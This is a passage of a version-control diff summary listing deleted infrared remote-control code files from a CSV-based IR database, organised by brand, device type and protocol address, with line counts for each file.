.../_CSV-IRDB_/Luxman/Receiver/204,-1.ir | 128 - .../_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir | 230 - .../M3 Electronic/Unknown_DVD-209/0,-1.ir | 182 - .../MAGIC LIGHTING/Lighting/0,-1.ir | 146 - .../MAGNASONIC/Unknown_TV/131,122.ir | 170 - .../MCL/Unknown_RemoteController/64,-1.ir | 170 - .../METRONIC/Unknown_060501/0,127.ir | 212 - .../_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir | 176 - .../_CSV-IRDB_/MGA/VCR/87,-1.ir | 170 - .../_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir | 128 - .../_CSV-IRDB_/MISSION/CD Player/20,-1.ir | 44 - .../_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir | 272 - .../MS-Tech/Unknown_MS-Tech/0,95.ir | 272 - .../_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir | 284 - .../_CSV-IRDB_/MSI/Unknown_PC/134,107.ir | 206 - .../MSI/Unknown_lircd.conf/134,107.ir | 596 - .../_CSV-IRDB_/MSI/Unknown_test/134,107.ir | 146 - .../Unknown_MyHD/48,-1.ir | 206 - .../_CSV-IRDB_/Madrigal/CD Player/0,-1.ir | 50 - .../_CSV-IRDB_/Madrigal/CD Player/2,-1.ir | 92 - .../_CSV-IRDB_/Madrigal/CD Player/7,-1.ir | 74 - .../_CSV-IRDB_/Madrigal/Receiver/5,-1.ir | 260 - .../_CSV-IRDB_/Magnavox/DSS/128,63.ir | 170 - .../_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir | 212 - .../_CSV-IRDB_/Magnavox/DVD Player/135,34.ir | 242 - .../_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir | 200 - .../Magnavox/DVD Recorder/135,34.ir | 152 - .../_CSV-IRDB_/Magnavox/TV/0,-1.ir | 158 - .../Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir | 158 - .../_CSV-IRDB_/Magnavox/VCR/5,-1.ir | 230 - .../_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir | 134 - .../_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir | 182 - .../Majestic/Unknown_DVX377USB/0,-1.ir | 320 - .../Makita/Drapery Controller/2,-1.ir | 152 - .../_CSV-IRDB_/Malata/DVD Player/1,-1.ir | 248 - .../_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir | 230 - .../_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir | 278 - .../_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir | 272 - .../_CSV-IRDB_/Marantz/Amplifier/16,-1.ir | 86 - .../_CSV-IRDB_/Marantz/Amplifier/17,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Amplifier/18,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Amplifier/20,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Amplifier/21,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Amplifier/23,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Amplifier/26,-1.ir | 8 - .../_CSV-IRDB_/Marantz/CD Changer/20,-1.ir | 194 - .../_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir | 176 - .../_CSV-IRDB_/Marantz/CD Player/20,-1.ir | 746 - .../_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir | 98 - .../_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir | 8 - .../_CSV-IRDB_/Marantz/D-VHS/3,-1.ir | 8 - .../_CSV-IRDB_/Marantz/D-VHS/67,-1.ir | 272 - .../_CSV-IRDB_/Marantz/DVD Player/20,-1.ir | 8 - .../_CSV-IRDB_/Marantz/DVD Player/4,-1.ir | 812 - .../_CSV-IRDB_/Marantz/DVD Player/41,-1.ir | 20 - .../_CSV-IRDB_/Marantz/DVD Player/69,-1.ir | 260 - .../_CSV-IRDB_/Marantz/DVD/4,-1.ir | 284 - .../_CSV-IRDB_/Marantz/DVD/69,-1.ir | 254 - .../_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir | 8 - .../_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir | 14 - .../Marantz/Plasma Displays/24,-1.ir | 122 - .../Marantz/Plasma Displays/24,24.ir | 98 - .../_CSV-IRDB_/Marantz/Plasma/0,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Plasma/24,-1.ir | 200 - .../_CSV-IRDB_/Marantz/Plasma/24,24.ir | 224 - .../_CSV-IRDB_/Marantz/Plasma/24,247.ir | 14 - .../_CSV-IRDB_/Marantz/Plasma/80,-1.ir | 104 - .../_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir | 20 - .../_CSV-IRDB_/Marantz/Projector/0,-1.ir | 224 - .../_CSV-IRDB_/Marantz/Receiver/0,-1.ir | 218 - .../_CSV-IRDB_/Marantz/Receiver/12,-1.ir | 32 - .../_CSV-IRDB_/Marantz/Receiver/16,-1.ir | 716 - .../_CSV-IRDB_/Marantz/Receiver/17,-1.ir | 1130 -- .../_CSV-IRDB_/Marantz/Receiver/176,-1.ir | 98 - .../_CSV-IRDB_/Marantz/Receiver/18,-1.ir | 50 - .../_CSV-IRDB_/Marantz/Receiver/20,-1.ir | 38 - .../_CSV-IRDB_/Marantz/Receiver/21,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Receiver/23,-1.ir | 26 - .../_CSV-IRDB_/Marantz/Receiver/26,-1.ir | 62 - .../_CSV-IRDB_/Marantz/Receiver/39,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Receiver/4,-1.ir | 62 - .../_CSV-IRDB_/Marantz/Receiver/5,-1.ir | 50 - .../_CSV-IRDB_/Marantz/Receiver/6,-1.ir | 80 - .../_CSV-IRDB_/Marantz/Receiver/7,-1.ir | 8 - .../_CSV-IRDB_/Marantz/Receiver/8,-1.ir | 8 - .../_CSV-IRDB_/Marantz/TV/0,-1.ir | 62 - .../_CSV-IRDB_/Marantz/TV/144,0.ir | 8 - .../_CSV-IRDB_/Marantz/TV/24,-1.ir | 80 - .../_CSV-IRDB_/Marantz/TV/24,24.ir | 134 - .../_CSV-IRDB_/Marantz/TV/24,247.ir | 14 - .../_CSV-IRDB_/Marantz/TV/80,-1.ir | 104 - .../_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir | 152 - .../_CSV-IRDB_/Marantz/Tuner/16,-1.ir | 32 - .../_CSV-IRDB_/Marantz/Tuner/17,-1.ir | 302 - .../_CSV-IRDB_/Marantz/Tuner/20,-1.ir | 8 - .../Marantz/Unknown_Marantz-RC-63CD/20,-1.ir | 182 - .../Marantz/Unknown_RC-1400/4,-1.ir | 260 - .../Marantz/Unknown_RC-65CD/20,-1.ir | 140 - .../Marantz/Unknown_RC-72CD/20,-1.ir | 212 - .../Marantz/Unknown_RC4000CD/20,-1.ir | 158 - .../Marantz/Unknown_RC4300CC/20,-1.ir | 170 - .../_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir | 254 - .../_CSV-IRDB_/Marantz/VCR/134,97.ir | 62 - .../_CSV-IRDB_/Marantz/VCR/23,-1.ir | 8 - .../_CSV-IRDB_/Marantz/VCR/5,-1.ir | 374 - .../Marantz/Video Projector/0,-1.ir | 266 - .../Marantz/Video Projector/13,-1.ir | 20 - .../_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir | 14 - .../_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir | 20 - .../Mark Levinson/CD Player/1,-1.ir | 152 - .../Mark Levinson/CD Player/16,-1.ir | 8 - .../Mark Levinson/CD Player/2,-1.ir | 62 - .../Mark Levinson/CD Player/3,-1.ir | 164 - .../Mark Levinson/Pre-Amplifier/4,-1.ir | 8 - .../Mark Levinson/Pre-Amplifier/7,-1.ir | 86 - .../_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir | 248 - .../_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir | 284 - .../_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir | 320 - .../_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir | 260 - .../_CSV-IRDB_/Maxx/Plasma/32,64.ir | 8 - .../_CSV-IRDB_/Maxx/Plasma/96,-1.ir | 260 - .../_CSV-IRDB_/McIntosh/CD Player/202,149.ir | 212 - .../McIntosh/Control System/202,85.ir | 74 - .../_CSV-IRDB_/McIntosh/DVD Player/128,80.ir | 224 - .../_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir | 152 - .../McIntosh/Pre-Amplifier/202,85.ir | 344 - .../_CSV-IRDB_/McIntosh/Receiver/202,85.ir | 320 - .../Medion/Unknown_JX-2006B/0,-1.ir | 146 - .../_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir | 200 - .../Medion/Unknown_MD81035/23,105.ir | 296 - .../Medion/Unknown_MD81880/23,105.ir | 254 - .../Medion/Unknown_medion/128,123.ir | 212 - .../_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir | 188 - .../Melectronic/Unknown_PP3600/2,-1.ir | 128 - .../Meliconi/Unknown_Facile/0,-1.ir | 176 - .../Meliconi/Unknown_MELICONI-U3/10,-1.ir | 290 - .../Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir | 86 - .../_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir | 44 - .../_CSV-IRDB_/Memorex/DVD Player/0,-1.ir | 176 - .../_CSV-IRDB_/Memorex/TV/4,-1.ir | 134 - .../Meridian/800 System Remote/19,-1.ir | 374 - .../_CSV-IRDB_/Meridian/CD Player/19,-1.ir | 332 - .../_CSV-IRDB_/Meridian/CD-R/19,-1.ir | 494 - .../_CSV-IRDB_/Meridian/DVD Player/19,-1.ir | 638 - .../_CSV-IRDB_/Meridian/DVD Player/69,-1.ir | 8 - .../_CSV-IRDB_/Meridian/DVD/19,-1.ir | 494 - .../Meridian/Pre-Amplifier/19,-1.ir | 212 - .../Meridian/Pre-Amplifier/26,73.ir | 20 - .../_CSV-IRDB_/Meridian/Processor/19,-1.ir | 38 - .../Meridian/Remote Control/19,-1.ir | 1130 -- .../Meridian/Surround Processor/19,-1.ir | 650 - .../Meridian/System Remote/19,-1.ir | 260 - .../_CSV-IRDB_/Metronome/CD Player/20,-1.ir | 128 - .../_CSV-IRDB_/Metrox/Humidifier/128,-1.ir | 44 - .../_CSV-IRDB_/Micromega/DVD Player/4,-1.ir | 182 - .../_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir | 164 - .../Microsoft/Game Console/116,15.ir | 368 - .../_CSV-IRDB_/Microsoft/Game Console/4,15.ir | 14 - .../_CSV-IRDB_/Microsoft/Game Console/5,-1.ir | 272 - .../Microsoft/Home Media PC/4,15.ir | 272 - .../_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir | 272 - .../Microsoft/Unknown_Xbox360/116,15.ir | 278 - .../Microsoft/Unknown_xbox/10,-1.ir | 164 - .../Microsoft/Windows Media Center/4,15.ir | 434 - .../Midiland/Digital Decoder/81,175.ir | 128 - .../_CSV-IRDB_/Mintek/DVD Player/0,153.ir | 152 - .../Mitochiba/Unknown_JX-9902/134,107.ir | 296 - .../Mitochiba/Unknown_KF220100/134,107.ir | 296 - .../_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir | 296 - .../_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir | 212 - .../Mitsubishi/Cassette Tape/119,-1.ir | 266 - .../Mitsubishi/Cassette Tape/138,-1.ir | 86 - .../Mitsubishi/Cassette Tape/141,-1.ir | 158 - .../_CSV-IRDB_/Mitsubishi/DSS/12,251.ir | 212 - .../_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir | 20 - .../_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir | 14 - .../Mitsubishi/DVD Player/103,-1.ir | 458 - .../_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir | 146 - .../_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir | 176 - .../_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir | 254 - .../Mitsubishi/HDTV Receiver/12,251.ir | 170 - .../Mitsubishi/HDTV Receiver/71,-1.ir | 14 - .../Mitsubishi/Laser Disc/168,-1.ir | 590 - .../Mitsubishi/Laser Disc/175,-1.ir | 14 - .../_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir | 134 - .../_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir | 26 - .../_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir | 206 - .../_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir | 8 - .../_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir | 170 - .../_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir | 1268 -- .../_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir | 1040 -- .../_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir | 884 - .../_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir | 170 - .../_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir | 182 - .../_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir | 488 - .../_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir | 170 - .../_CSV-IRDB_/Mitsubishi/TV/1,-1.ir | 122 - .../_CSV-IRDB_/Mitsubishi/TV/119,-1.ir | 14 - .../_CSV-IRDB_/Mitsubishi/TV/71,-1.ir | 1082 -- .../_CSV-IRDB_/Mitsubishi/TV/87,-1.ir | 74 - .../_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir | 212 - .../_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir | 662 - .../_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir | 1400 -- .../Mitsubishi/Unknown_75501/87,-1.ir | 200 - .../Mitsubishi/Unknown_HD1000/240,-1.ir | 152 - .../Mitsubishi/Unknown_HS-349/87,-1.ir | 146 - .../Mitsubishi/Unknown_mitsubishi/71,-1.ir | 140 - .../_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir | 374 - .../_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir | 26 - .../_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir | 8 - .../_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir | 140 - .../_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir | 68 - .../_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir | 416 - .../_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir | 2924 --- .../Mitsubishi/Video Projector/71,-1.ir | 200 - .../Monoprice/Unknown_HDX(C)-501E/0,-1.ir | 50 - .../Morgans Daytona/Unknown_T15/128,38.ir | 134 - .../Unknown_Tornado/202,165.ir | 128 - .../_CSV-IRDB_/Motorola/Cable Box/0,-1.ir | 1580 -- .../_CSV-IRDB_/Motorola/Cable Box/1,-1.ir | 32 - .../_CSV-IRDB_/Motorola/Cable Box/15,-1.ir | 20 - .../_CSV-IRDB_/Motorola/Cable Box/170,-1.ir | 26 - .../_CSV-IRDB_/Motorola/Cable Box/18,0.ir | 236 - .../_CSV-IRDB_/Motorola/Cable Box/3,-1.ir | 8 - .../_CSV-IRDB_/Motorola/Cable Box/4,-1.ir | 26 - .../_CSV-IRDB_/Motorola/Cable Box/5,-1.ir | 20 - .../_CSV-IRDB_/Motorola/Cable Box/5,1.ir | 20 - .../_CSV-IRDB_/Motorola/Cable Box/64,-1.ir | 20 - .../_CSV-IRDB_/Motorola/Cable Box/68,-1.ir | 8 - .../_CSV-IRDB_/Motorola/Cable Box/9,-1.ir | 8 - .../_CSV-IRDB_/Motorola/Cox/0,-1.ir | 338 - .../_CSV-IRDB_/Motorola/Cox/64,-1.ir | 20 - .../_CSV-IRDB_/Motorola/DSS/1,-1.ir | 8 - .../_CSV-IRDB_/Motorola/DVR/0,-1.ir | 278 - .../_CSV-IRDB_/Motorola/IP box/16,0.ir | 242 - .../_CSV-IRDB_/Motorola/Remote/0,-1.ir | 320 - .../_CSV-IRDB_/Motorola/Remote/3,-1.ir | 8 - .../_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir | 182 - .../_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir | 218 - .../Motorola/Unknown_DCH3416/0,-1.ir | 206 - .../Motorola/Unknown_DCT2000/0,-1.ir | 248 - .../Motorola/Unknown_DCT2244/0,-1.ir | 62 - .../Motorola/Unknown_DCT2524/0,-1.ir | 272 - .../Motorola/Unknown_DRC800/0,-1.ir | 320 - .../Motorola/Unknown_DTH320-4/134,47.ir | 188 - .../Motorola/Unknown_DTH355/134,47.ir | 188 - .../Motorola/Unknown_DVi2030/0,-1.ir | 200 - .../Motorola/Unknown_MOTOROLA/0,-1.ir | 266 - .../Motorola/Unknown_QIP2500/0,-1.ir | 338 - .../Unknown_RC1445302-00B-REV2/0,-1.ir | 434 - .../_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir | 248 - .../Multi Canal/Unknown_Canal/133,123.ir | 104 - .../Multichoice/Unknown_DSD910/24,-1.ir | 194 - .../_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir | 296 - .../Mustek/Unknown_MustekDVD/16,237.ir | 290 - .../Mustek/Unknown_RMC-V300/16,237.ir | 290 - .../Mvision/Unknown_FCIS7000E+/64,64.ir | 242 - .../_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir | 8 - .../_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir | 26 - .../_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir | 8 - .../_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir | 8 - .../_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir | 8 - .../_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir | 8 - .../_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir | 8 - .../_CSV-IRDB_/Myryad/Receiver/0,-1.ir | 8 - .../_CSV-IRDB_/Myryad/Receiver/16,-1.ir | 26 - .../_CSV-IRDB_/Myryad/Receiver/17,-1.ir | 50 - .../_CSV-IRDB_/Myryad/Receiver/18,-1.ir | 8 - .../_CSV-IRDB_/Myryad/Receiver/20,-1.ir | 122 - .../_CSV-IRDB_/Myryad/Receiver/21,-1.ir | 8 - .../_CSV-IRDB_/Myryad/Receiver/23,-1.ir | 8 - .../_CSV-IRDB_/NAD/Amplifier/135,124.ir | 206 - .../_CSV-IRDB_/NAD/CD Player/133,111.ir | 92 - .../_CSV-IRDB_/NAD/CD Player/135,124.ir | 182 - .../_CSV-IRDB_/NAD/CD Player/42,-1.ir | 200 - .../_CSV-IRDB_/NAD/Cassette Tape/135,124.ir | 74 - .../_CSV-IRDB_/NAD/Monitor/64,-1.ir | 170 - .../_CSV-IRDB_/NAD/Receiver/135,124.ir | 350 - .../NAD/Surround Processor/135,124.ir | 242 - .../NAD/Surround Processor/93,-1.ir | 14 - .../_CSV-IRDB_/NAD/Tuner/135,124.ir | 242 - .../_CSV-IRDB_/NAD/Unknown/135,124.ir | 362 - .../_CSV-IRDB_/NAD/Unknown_451/135,124.ir | 242 - .../_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir | 44 - .../_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir | 128 - .../_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir | 368 - .../_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir | 230 - .../_CSV-IRDB_/NEC/Monitor/25,-1.ir | 158 - .../_CSV-IRDB_/NEC/Monitor/4,-1.ir | 122 - .../_CSV-IRDB_/NEC/Receiver/25,-1.ir | 44 - .../_CSV-IRDB_/NEC/Receiver/26,-1.ir | 32 - .../_CSV-IRDB_/NEC/Receiver/26,197.ir | 68 - .../_CSV-IRDB_/NEC/Receiver/26,225.ir | 62 - .../_CSV-IRDB_/NEC/Receiver/26,228.ir | 146 - .../_CSV-IRDB_/NEC/Receiver/26,231.ir | 38 - .../_CSV-IRDB_/NEC/Receiver/4,-1.ir | 68 - .../NEC/Surround Processor/13,-1.ir | 500 - .../NEC/Surround Processor/26,228.ir | 146 - .../_CSV-IRDB_/NEC/TV/24,-1.ir | 56 - .../_CSV-IRDB_/NEC/TV/24,24.ir | 68 - .../optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir | 146 - .../_CSV-IRDB_/NEC/Unknown/25,-1.ir | 194 - .../_CSV-IRDB_/NEC/Unknown/25,231.ir | 194 - .../_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir | 56 - .../_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir | 74 - .../_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir | 200 - .../_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir | 242 - .../_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir | 332 - .../_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir | 152 - .../_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir | 68 - .../_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir | 146 - .../_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir | 146 - .../_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir | 152 - .../_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir | 152 - .../_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir | 188 - .../_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir | 80 - .../_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir | 104 - .../_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir | 164 - .../_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir | 170 - .../_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir | 194 - .../_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir | 224 - .../_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir | 92 - .../_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir | 194 - .../_CSV-IRDB_/NEC/VCR/10,-1.ir | 92 - .../_CSV-IRDB_/NEC/VCR/25,-1.ir | 806 - .../_CSV-IRDB_/NEC/VCR/4,-1.ir | 218 - .../_CSV-IRDB_/NEC/Video Projector/24,233.ir | 770 - .../_CSV-IRDB_/NEC/Video Projector/24,247.ir | 518 - .../_CSV-IRDB_/NET TV/TV/2,-1.ir | 176 - .../_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir | 224 - .../NVIDIA/Unknown_Personal/128,126.ir | 206 - .../_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir | 212 - .../_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir | 494 - .../_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir | 704 - .../_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir | 26 - .../_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir | 218 - .../_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir | 182 - .../_CSV-IRDB_/Nakamichi/Receiver/130,93.ir | 572 - .../_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir | 272 - .../_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir | 536 - .../_CSV-IRDB_/Nakamichi/Receiver/92,161.ir | 140 - .../_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir | 62 - .../_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir | 140 - .../Nakamichi/Unknown_lirc.config/103,-1.ir | 146 - .../_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir | 194 - .../Nebula Electronics/Unknown_DVB/0,-1.ir | 332 - .../Netgem/Unknown_iPlayer/131,51.ir | 200 - .../_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir | 152 - .../_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir | 98 - .../_CSV-IRDB_/Niles Audio/Unknown/128,93.ir | 416 - .../_CSV-IRDB_/Niles Audio/Unknown/132,18.ir | 50 - .../No Brand/Unknown_YK-001/0,-1.ir | 128 - .../_CSV-IRDB_/Nokia/Satellite/24,-1.ir | 26 - .../_CSV-IRDB_/Nokia/Satellite/6,-1.ir | 26 - .../_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir | 164 - .../_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir | 200 - .../_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir | 170 - .../Nokia/Unknown_NokiaVC620/3,-1.ir | 170 - .../_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir | 200 - .../_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir | 170 - .../_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir | 182 - .../_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir | 272 - .../_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir | 266 - .../_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir | 140 - .../Unknown_Broadband/128,110.ir | 266 - .../Unknown_Broadband/64,64.ir | 266 - .../_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir | 8 - .../_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir | 152 - .../_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir | 212 - .../_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir | 32 - .../_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir | 8 - .../One For All/Unknown_7720/0,-1.ir | 206 - .../One For All/Unknown_For/0,-1.ir | 230 - .../One For All/Unknown_For/8,-1.ir | 464 - .../One For All/Unknown_One-For-All/0,-1.ir | 380 - .../One For All/Unknown_Phillips/5,-1.ir | 212 - .../One For All/Unknown_SAT/32,8.ir | 206 - .../Unknown_URC-2510(12341)/71,-1.ir | 38 - .../Unknown_URC-3021B00-VCR-0081/5,-1.ir | 194 - .../One For All/Unknown_URC-3440/5,-1.ir | 164 - .../One For All/Unknown_URC-5550/11,-1.ir | 188 - .../One For All/Unknown_URC-6012w/2,-1.ir | 194 - .../One For All/Unknown_URC-7020/5,-1.ir | 200 - .../One For All/Unknown_URC-7240/5,-1.ir | 206 - .../One For All/Unknown_URC-7530/7,-1.ir | 152 - .../One For All/Unknown_URC-7555/0,-1.ir | 266 - .../One For All/Unknown_URC-7562/68,-1.ir | 242 - .../One For All/Unknown_URC-7710/0,-1.ir | 206 - .../One For All/Unknown_URC-8204.1300/32,8.ir | 212 - .../One For All/Unknown_URC-8910/7,-1.ir | 218 - .../One For All/Unknown_VCR/113,-1.ir | 230 - .../Unknown_control-Philips-0081d/0,-1.ir | 224 - .../Unknown_ofa-urc-7550-vcr0150/5,-1.ir | 188 - .../One For All/Unknown_urc7562/0,-1.ir | 188 - .../One For All/Unknown_urc7730/0,-1.ir | 206 - .../_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir | 290 - .../_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir | 170 - .../Onkyo Integra/DVD Changer/210,43.ir | 302 - .../Onkyo Integra/Receiver/210,108.ir | 68 - .../Onkyo Integra/Receiver/210,109.ir | 122 - .../_CSV-IRDB_/Onkyo/Amplifier/210,108.ir | 20 - .../_CSV-IRDB_/Onkyo/Amplifier/210,109.ir | 470 - .../_CSV-IRDB_/Onkyo/CD Player/132,117.ir | 140 - .../_CSV-IRDB_/Onkyo/CD Player/210,109.ir | 206 - .../_CSV-IRDB_/Onkyo/CD Player/210,13.ir | 356 - .../_CSV-IRDB_/Onkyo/CD Player/210,44.ir | 380 - .../_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir | 266 - .../_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir | 56 - .../_CSV-IRDB_/Onkyo/DVD Player/210,43.ir | 254 - .../_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir | 8 - .../_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir | 212 - .../_CSV-IRDB_/Onkyo/Receiver/210,108.ir | 164 - .../_CSV-IRDB_/Onkyo/Receiver/210,109.ir | 1538 -- .../_CSV-IRDB_/Onkyo/Tuner/210,109.ir | 182 - .../_CSV-IRDB_/Onkyo/Tuner/210,37.ir | 344 - .../_CSV-IRDB_/Onkyo/Unknown/210,109.ir | 614 - .../_CSV-IRDB_/Onkyo/Unknown/210,44.ir | 188 - .../Onkyo/Unknown_CR-70R/210,109.ir | 176 - .../_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir | 146 - .../_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir | 188 - .../_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir | 170 - .../Onkyo/Unknown_RC-104C/210,-1.ir | 128 - .../Onkyo/Unknown_RC-146T/210,13.ir | 56 - .../Onkyo/Unknown_RC-184s/210,109.ir | 26 - .../Onkyo/Unknown_RC-425DV/210,43.ir | 326 - .../_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir | 140 - .../Onkyo/Unknown_RC-682M/210,43.ir | 218 - .../Onkyo/Unknown_rc-211s/210,109.ir | 230 - .../Onkyo/Unknown_rc-252s/210,109.ir | 278 - .../_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir | 212 - .../_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir | 794 - .../PLU2/Unknown_DVX-345pro/0,-1.ir | 302 - .../_CSV-IRDB_/PS Audio/CD Player/20,-1.ir | 128 - 